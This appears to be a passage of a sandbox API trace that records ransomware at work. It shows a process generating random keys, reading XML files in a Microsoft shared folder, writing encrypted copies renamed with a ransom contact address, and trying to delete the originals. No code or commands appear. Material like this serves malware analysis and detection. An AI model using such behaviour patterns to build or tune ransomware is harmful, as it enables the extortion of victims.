[0120.967] GetLastError () returned 0x0 [0120.967] GetLastError () returned 0x0 [0120.967] GetCurrentThreadId () returned 0x9b0 [0120.967] GetLastError () returned 0x0 [0120.967] GetLastError () returned 0x0 [0120.967] GetLastError () returned 0x0 [0120.967] GetLastError () returned 0x0 [0120.967] GetLastError () returned 0x0 [0120.967] GetCurrentThreadId () returned 0x9b0 [0120.967] GetLastError () returned 0x0 [0120.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a868 | out: hHeap=0x2ad0000) returned 1 [0120.968] GetLastError () returned 0x0 [0120.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0120.968] GetLastError () returned 0x0 [0120.968] GetLastError () returned 0x0 [0120.968] GetLastError () returned 0x0 [0120.968] GetCurrentThreadId () returned 0x9b0 [0120.968] GetLastError () returned 0x0 [0120.968] GetCurrentThreadId () returned 0x9b0 [0120.968] GetLastError () returned 0x0 [0120.968] GetLastError () returned 0x0 [0120.969] GetLastError () returned 0x0 [0120.969] GetLastError () returned 0x0 [0120.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0120.969] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa3a)) returned 1 [0120.969] GetLastError () returned 0x0 [0120.969] GetCurrentThreadId () returned 0x9b0 [0120.969] GetLastError () returned 0x0 [0120.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0120.969] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b19c | out: pbBuffer=0x366b19c) returned 1 [0120.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0120.970] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0120.970] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0120.970] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8c8 [0120.970] GetCurrentThreadId () returned 0x9b0 [0120.970] GetLastError () returned 0x0 [0120.970] GetLastError () returned 0x0 [0120.970] GetLastError () returned 0x0 [0120.970] GetLastError () returned 0x0 [0120.970] GetCurrentThreadId () returned 0x9b0 [0120.970] GetLastError () returned 0x0 [0120.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea8c8 | out: hHeap=0x2ad0000) returned 1 [0120.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab70 [0120.971] GetLastError () returned 0x0 [0120.971] GetLastError () returned 0x0 [0120.971] GetLastError () returned 0x0 [0120.971] GetLastError () returned 0x0 [0120.971] GetCurrentThreadId () returned 0x9b0 [0120.971] GetLastError () returned 0x0 [0120.971] GetCurrentThreadId () returned 0x9b0 [0120.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab70 | out: hHeap=0x2ad0000) returned 1 [0120.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265318 [0120.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0120.972] GetLastError () returned 0x0 [0120.972] GetLastError () returned 0x0 [0120.972] GetLastError () returned 0x0 [0120.972] GetLastError () returned 0x0 [0120.972] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0120.972] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265638 [0120.972] GetLastError () returned 0x0 [0120.972] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0120.972] GetFileType (hFile=0x39c) returned 0x1 [0120.973] GetLastError () returned 0x0 [0120.973] GetCurrentThreadId () returned 0x9b0 [0120.973] GetLastError () returned 0x0 [0120.973] GetFileType (hFile=0x39c) returned 0x1 [0120.973] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0120.973] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.973] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.973] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.973] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.973] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.973] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.973] GetLastError () returned 0x0 [0120.974] GetCurrentThreadId () returned 0x9b0 [0120.974] GetLastError () returned 0x0 [0120.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265638 | out: hHeap=0x2ad0000) returned 1 [0120.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0120.974] GetLastError () returned 0x0 [0120.974] GetLastError () returned 0x0 [0120.974] GetLastError () returned 0x0 [0120.974] GetLastError () returned 0x0 [0120.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0120.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265488 [0120.974] GetLastError () returned 0x0 [0120.974] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0120.976] GetFileType (hFile=0x3ac) returned 0x1 [0120.976] GetLastError () returned 0x0 [0120.976] GetCurrentThreadId () returned 0x9b0 [0120.976] GetLastError () returned 0x0 [0120.976] GetFileType (hFile=0x3ac) returned 0x1 [0120.977] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0120.977] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.977] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.977] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.977] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.977] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.977] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.977] GetLastError () returned 0x0 [0120.977] GetCurrentThreadId () returned 0x9b0 [0120.977] GetLastError () returned 0x0 [0120.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265488 | out: hHeap=0x2ad0000) returned 1 [0120.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0120.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0120.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0120.978] GetLastError () returned 0x0 [0120.978] GetLastError () returned 0x0 [0120.978] GetCurrentThreadId () returned 0x9b0 [0120.978] GetLastError () returned 0x0 [0120.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0120.978] GetLastError () returned 0x0 [0120.978] GetLastError () returned 0x0 [0120.978] GetCurrentThreadId () returned 0x9b0 [0120.978] GetLastError () returned 0x0 [0120.979] GetLastError () returned 0x0 [0120.980] GetLastError () returned 0x0 [0120.980] GetCurrentThreadId () returned 0x9b0 [0120.980] GetLastError () returned 0x0 [0120.980] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xa4f) returned 0x35c5908 [0120.980] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xa55) returned 0x35c5908 [0120.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265548 [0120.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265318 | out: hHeap=0x2ad0000) returned 1 [0120.981] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xa58) returned 0x35be9f8 [0120.981] GetCurrentThreadId () returned 0x9b0 [0120.981] GetLastError () returned 0x0 [0120.981] GetLastError () returned 0x0 [0120.981] GetLastError () returned 0x0 [0120.981] GetLastError () returned 0x0 [0120.981] GetCurrentThreadId () returned 0x9b0 [0120.981] GetLastError () returned 0x0 [0120.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35be9f8 | out: hHeap=0x2ad0000) returned 1 [0120.982] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0120.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0120.982] GetLastError () returned 0x0 [0120.982] GetLastError () returned 0x0 [0120.982] GetCurrentThreadId () returned 0x9b0 [0120.982] GetLastError () returned 0x0 [0120.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bf458 | out: hHeap=0x2ad0000) returned 1 [0120.982] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c6368 [0120.982] GetLastError () returned 0x0 [0120.982] GetLastError () returned 0x0 [0120.982] GetCurrentThreadId () returned 0x9b0 [0120.983] GetLastError () returned 0x0 [0120.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c6368 | out: hHeap=0x2ad0000) returned 1 [0120.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.983] GetLastError () returned 0x0 [0120.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0120.984] CloseHandle (hObject=0x3ac) returned 1 [0120.984] GetLastError () returned 0x0 [0120.984] GetCurrentThreadId () returned 0x9b0 [0120.984] GetLastError () returned 0x0 [0120.984] GetLastError () returned 0x0 [0120.984] CloseHandle (hObject=0x39c) returned 1 [0120.985] GetLastError () returned 0x0 [0120.985] GetCurrentThreadId () returned 0x9b0 [0120.985] GetLastError () returned 0x0 [0120.985] GetLastError () returned 0x0 [0120.985] GetLastError () returned 0x0 [0120.985] GetLastError () returned 0x0 [0120.985] GetLastError () returned 0x0 [0120.985] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml")) returned 0 [0120.986] GetLastError () returned 0x5 [0120.986] GetCurrentThreadId () returned 0x9b0 [0120.986] GetLastError () returned 0x5 [0120.986] GetLastError () returned 0x5 [0120.986] GetLastError () returned 0x5 [0120.986] GetLastError () returned 0x5 [0120.986] LocalFree (hMem=0x1053a70) returned 0x0 [0120.986] GetCurrentThreadId () returned 0x9b0 [0120.986] GetLastError () returned 0x5 [0120.986] GetLastError () returned 0x5 [0120.986] GetLastError () returned 0x5 [0120.987] GetLastError () returned 0x5 [0120.987] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml", lpFilePart=0x9bada4*="ipsen.xml") returned 0x3c [0120.987] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0120.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0120.987] GetCurrentThreadId () returned 0x9b0 [0120.987] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0120.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0120.987] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eabc0 [0120.987] GetLastError () returned 0x0 [0120.987] GetLastError () returned 0x0 [0120.987] GetLastError () returned 0x0 [0120.988] GetLastError () returned 0x0 [0120.988] GetCurrentThreadId () returned 0x9b0 [0120.988] GetLastError () returned 0x0 [0120.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eabc0 | out: hHeap=0x2ad0000) returned 1 [0120.988] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead28 [0120.988] GetCurrentThreadId () returned 0x9b0 [0120.988] GetLastError () returned 0x0 [0120.988] GetLastError () returned 0x0 [0120.988] GetLastError () returned 0x0 [0120.988] GetLastError () returned 0x0 [0120.989] GetCurrentThreadId () returned 0x9b0 [0120.989] GetLastError () returned 0x0 [0120.989] GetLastError () returned 0x0 [0120.989] GetLastError () returned 0x0 [0120.989] GetLastError () returned 0x0 [0120.989] GetLastError () returned 0x0 [0120.989] GetCurrentThreadId () returned 0x9b0 [0120.989] GetLastError () returned 0x0 [0120.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ead28 | out: hHeap=0x2ad0000) returned 1 [0120.989] GetLastError () returned 0x0 [0120.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0120.990] GetLastError () returned 0x0 [0120.990] GetLastError () returned 0x0 [0120.990] GetLastError () returned 0x0 [0120.990] GetCurrentThreadId () returned 0x9b0 [0120.990] GetCurrentThreadId () returned 0x9b0 [0120.990] GetCurrentThreadId () returned 0x9b0 [0120.990] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a528 | out: hHeap=0x2ad0000) returned 1 [0120.990] GetCurrentThreadId () returned 0x9b0 [0120.990] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa12)) returned 1 [0120.991] GetCurrentThreadId () returned 0x9b0 [0120.991] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b174 | out: pbBuffer=0x366b174) returned 1 [0120.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0120.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0120.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0120.991] GetCurrentThreadId () returned 0x9b0 [0120.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaaf8 [0120.991] GetCurrentThreadId () returned 0x9b0 [0120.991] GetCurrentThreadId () returned 0x9b0 [0120.993] GetCurrentThreadId () returned 0x9b0 [0120.993] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0120.993] GetFileType (hFile=0x39c) returned 0x1 [0120.993] GetCurrentThreadId () returned 0x9b0 [0120.993] GetFileType (hFile=0x39c) returned 0x1 [0120.993] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0120.993] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.993] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.993] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.994] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.994] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.994] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.994] GetLastError () returned 0x0 [0120.994] GetCurrentThreadId () returned 0x9b0 [0120.994] GetLastError () returned 0x0 [0120.994] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0120.994] GetFileType (hFile=0x3ac) returned 0x1 [0120.995] GetCurrentThreadId () returned 0x9b0 [0120.995] GetLastError () returned 0x0 [0120.995] GetFileType (hFile=0x3ac) returned 0x1 [0120.995] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0120.995] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.995] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.995] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.995] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.995] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.995] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.995] GetCurrentThreadId () returned 0x9b0 [0120.995] GetLastError () returned 0x0 [0120.995] GetCurrentThreadId () returned 0x9b0 [0120.996] GetLastError () returned 0x0 [0120.996] GetCurrentThreadId () returned 0x9b0 [0120.996] GetLastError () returned 0x0 [0120.997] GetCurrentThreadId () returned 0x9b0 [0120.997] GetLastError () returned 0x0 [0120.997] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xa27) returned 0x35c5908 [0120.997] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xa35) returned 0x35c5908 [0120.997] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265608 [0120.998] GetCurrentThreadId () returned 0x9b0 [0120.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xa38) returned 0x35be9f8 [0120.998] GetCurrentThreadId () returned 0x9b0 [0120.998] GetLastError () returned 0x0 [0120.998] GetCurrentThreadId () returned 0x9b0 [0120.998] GetLastError () returned 0x0 [0120.998] GetCurrentThreadId () returned 0x9b0 [0120.998] GetLastError () returned 0x0 [0120.999] CloseHandle (hObject=0x3ac) returned 1 [0120.999] GetLastError () returned 0x0 [0120.999] GetCurrentThreadId () returned 0x9b0 [0120.999] GetLastError () returned 0x0 [0121.000] GetLastError () returned 0x0 [0121.000] CloseHandle (hObject=0x39c) returned 1 [0121.000] GetLastError () returned 0x0 [0121.000] GetCurrentThreadId () returned 0x9b0 [0121.000] GetLastError () returned 0x0 [0121.000] GetLastError () returned 0x0 [0121.000] GetLastError () returned 0x0 [0121.000] GetLastError () returned 0x0 [0121.000] GetLastError () returned 0x0 [0121.000] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0 [0121.001] GetLastError () returned 0x5 [0121.001] GetCurrentThreadId () returned 0x9b0 [0121.001] GetLastError () returned 0x5 [0121.001] GetLastError () returned 0x5 [0121.001] GetLastError () returned 0x5 [0121.001] GetLastError () returned 0x5 [0121.001] LocalFree (hMem=0x1053c70) returned 0x0 [0121.001] GetCurrentThreadId () returned 0x9b0 [0121.001] GetLastError () returned 0x5 [0121.001] GetLastError () returned 0x5 [0121.002] GetLastError () returned 0x5 [0121.002] GetLastError () returned 0x5 [0121.002] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml", lpFilePart=0x9bada4*="ipsesp.xml") returned 0x3d [0121.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0121.002] GetCurrentThreadId () returned 0x9b0 [0121.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0121.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0121.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0121.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea9e0 [0121.002] GetLastError () returned 0x0 [0121.002] GetLastError () returned 0x0 [0121.003] GetLastError () returned 0x0 [0121.003] GetLastError () returned 0x0 [0121.003] GetLastError () returned 0x0 [0121.003] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea9e0 | out: hHeap=0x2ad0000) returned 1 [0121.003] GetLastError () returned 0x0 [0121.003] GetLastError () returned 0x0 [0121.003] GetLastError () returned 0x0 [0121.003] GetLastError () returned 0x0 [0121.003] GetLastError () returned 0x0 [0121.003] GetLastError () returned 0x0 [0121.004] GetLastError () returned 0x0 [0121.004] GetLastError () returned 0x0 [0121.004] GetLastError () returned 0x0 [0121.004] GetLastError () returned 0x0 [0121.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0121.004] GetLastError () returned 0x0 [0121.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0121.004] GetLastError () returned 0x0 [0121.004] GetLastError () returned 0x0 [0121.004] GetLastError () returned 0x0 [0121.005] GetLastError () returned 0x0 [0121.005] GetLastError () returned 0x0 [0121.005] GetLastError () returned 0x0 [0121.005] GetLastError () returned 0x0 [0121.005] GetLastError () returned 0x0 [0121.005] GetLastError () returned 0x0 [0121.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0121.005] GetLastError () returned 0x0 [0121.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d61e0 | out: hHeap=0x2ad0000) returned 1 [0121.005] GetLastError () returned 0x0 [0121.006] GetLastError () returned 0x0 [0121.006] GetLastError () returned 0x0 [0121.006] GetLastError () returned 0x0 [0121.006] GetLastError () returned 0x0 [0121.006] GetLastError () returned 0x0 [0121.006] GetLastError () returned 0x0 [0121.006] GetLastError () returned 0x0 [0121.006] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0121.006] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1 [0121.006] GetLastError () returned 0x0 [0121.007] GetLastError () returned 0x0 [0121.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38877b8 | out: hHeap=0x2ad0000) returned 1 [0121.007] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b1ec | out: pbBuffer=0x366b1ec) returned 1 [0121.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0121.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0121.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0121.007] GetLastError () returned 0x0 [0121.007] GetLastError () returned 0x0 [0121.007] GetLastError () returned 0x0 [0121.007] GetLastError () returned 0x0 [0121.008] GetLastError () returned 0x0 [0121.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0121.008] GetLastError () returned 0x0 [0121.008] GetLastError () returned 0x0 [0121.008] GetLastError () returned 0x0 [0121.008] GetLastError () returned 0x0 [0121.008] GetLastError () returned 0x0 [0121.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaaf8 | out: hHeap=0x2ad0000) returned 1 [0121.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265318 [0121.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0121.009] GetLastError () returned 0x0 [0121.009] GetLastError () returned 